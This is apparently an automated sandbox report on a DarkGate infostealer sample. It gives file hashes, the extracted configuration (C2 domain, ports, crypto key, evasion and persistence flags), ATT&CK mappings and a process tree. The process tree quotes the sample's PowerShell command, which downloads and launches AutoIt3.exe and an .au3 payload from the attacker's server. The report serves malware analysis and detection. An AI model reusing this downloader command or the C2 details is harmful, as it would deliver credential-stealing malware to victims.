darkgate | 6df349abef5559549975a85a1d4821e453d988fed82c65c26962c7675e678202

Analysis

max time kernel
140s
max time network
157s
platform
windows10-2004_x64
resource
win10v2004-20231023-en
resource tags

arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
submitted
07/11/2023, 16:20

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General

Target
060e45bf7b57d4.js
Size 251KB
Sample231107-ts3jbsbf3x
SHA256 6df349abef5559549975a85a1d4821e453d988fed82c65c26962c7675e678202
MD5 eeca398b61cdbb117cc991c5a1ad01cd
SHA1 ea910382bcb251f4888eb756045c9a28eec66563
SHA512 98bde2b2962c766096512c5b49c5c6f7d96044d351b500a7e4e0bc261cb9f91f2c8c88737d82c312deb47929f29dfb090213addcc93920210b417933c662d9b4
SSDEEP 6144:he7hgXeerjqlI2Iro+5e7hgXeerjqlI2Iro+8:hIhgSlI23GIhgSlI23V
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

darkgate user_871236672 stealer

Malware Config

Extracted

Family

darkgate

Botnet

user_871236672

http://8sjimonstersboonkonline.com

Attributes

alternative_c2_port
8080
anti_analysis
true
anti_debug
true
anti_vm
true
c2_port
2351
check_disk
false
check_ram
true
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_rawstub
true
crypto_key
gBVVzQVruhpqkv
internal_mutex
txtMut
minimum_disk
43
minimum_ram
7000
ping_interval
4
rootkit
true
startup_persistence
true
username
user_871236672

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Blocklisted process makes network request 2 IoCs

flow	pid	Process
18	116	powershell.exe
29	116	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-984744499-3605095035-265325720-1000\Control Panel\International\Geo\Nation	wscript.exe

Executes dropped EXE 1 IoCs

pid	Process
4808	AutoIt3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoIt3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoIt3.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
116	powershell.exe
116	powershell.exe
116	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	116	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 2376 wrote to memory of 116	2376	wscript.exe	89
PID 2376 wrote to memory of 116	2376	wscript.exe	89
PID 116 wrote to memory of 4808	116	powershell.exe	95
PID 116 wrote to memory of 4808	116	powershell.exe	95
PID 116 wrote to memory of 4808	116	powershell.exe	95

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\060e45bf7b57d4.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2376
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351/msihujidbbn' -OutFile 'hujidbbn.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'hujidbbn.au3'"; Stop-Process -Name "WScript"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:116
- - C:\tepp\AutoIt3.exe
    "C:\tepp\AutoIt3.exe" hujidbbn.au3
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    PID:4808

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_cvtskvav.khm.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cvtskvav.khm.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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AutoIt3.exe

Path C:\tepp\AutoIt3.exe
Size 872KB
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c
SSDEEP 12288:6pVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31twoPTdFxgawV2M01:6T3E53Myyzl0hMf1tr7Caw8M01
MD5 SHA1 SHA512 SSDEEP

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AutoIt3.exe

Path C:\tepp\AutoIt3.exe
Size 872KB
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c
SSDEEP 12288:6pVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31twoPTdFxgawV2M01:6T3E53Myyzl0hMf1tr7Caw8M01
MD5 SHA1 SHA512 SSDEEP

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hujidbbn.au3

Path C:\tepp\hujidbbn.au3
Size 489KB
SHA256 8cf3bf5fc4274ea0d15a2b0c3999a21e1303ef83c42145a9a6e3e6b5114f0cce
MD5 305a14601aa52a85993c77549c330e43
SHA1 aa4998fc5deaba2d7a32b188d942fded94182e2b
SHA512 65f2201f003ba2dfa01d3a793c7f58d4ee711f02b8e849081b9325a61b7e04df5708ddf153be74ebf8a48df5ca7c70b68285925786ababb748b669ed994143ff
SSDEEP 12288:2T4R59fvkfQOBnFJYRLZ98mZkDcU4n8jOjKGjaM03olu:2T41vkfBz6k4n8jOjKGjQf
MD5 SHA1 SHA512 SSDEEP

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memory/116-12-0x0000022E57A60000-0x0000022E57A70000-memory.dmp

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memory/116-13-0x0000022E57A60000-0x0000022E57A70000-memory.dmp

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memory/116-11-0x0000022E57A60000-0x0000022E57A70000-memory.dmp

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memory/116-10-0x00007FFF23700000-0x00007FFF241C1000-memory.dmp

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memory/116-27-0x00007FFF23700000-0x00007FFF241C1000-memory.dmp

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memory/116-0-0x0000022E57CB0000-0x0000022E57CD2000-memory.dmp

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memory/4808-30-0x0000000001370000-0x0000000001770000-memory.dmp

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memory/4808-31-0x00000000040B0000-0x0000000004245000-memory.dmp

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memory/4808-32-0x00000000040B0000-0x0000000004245000-memory.dmp

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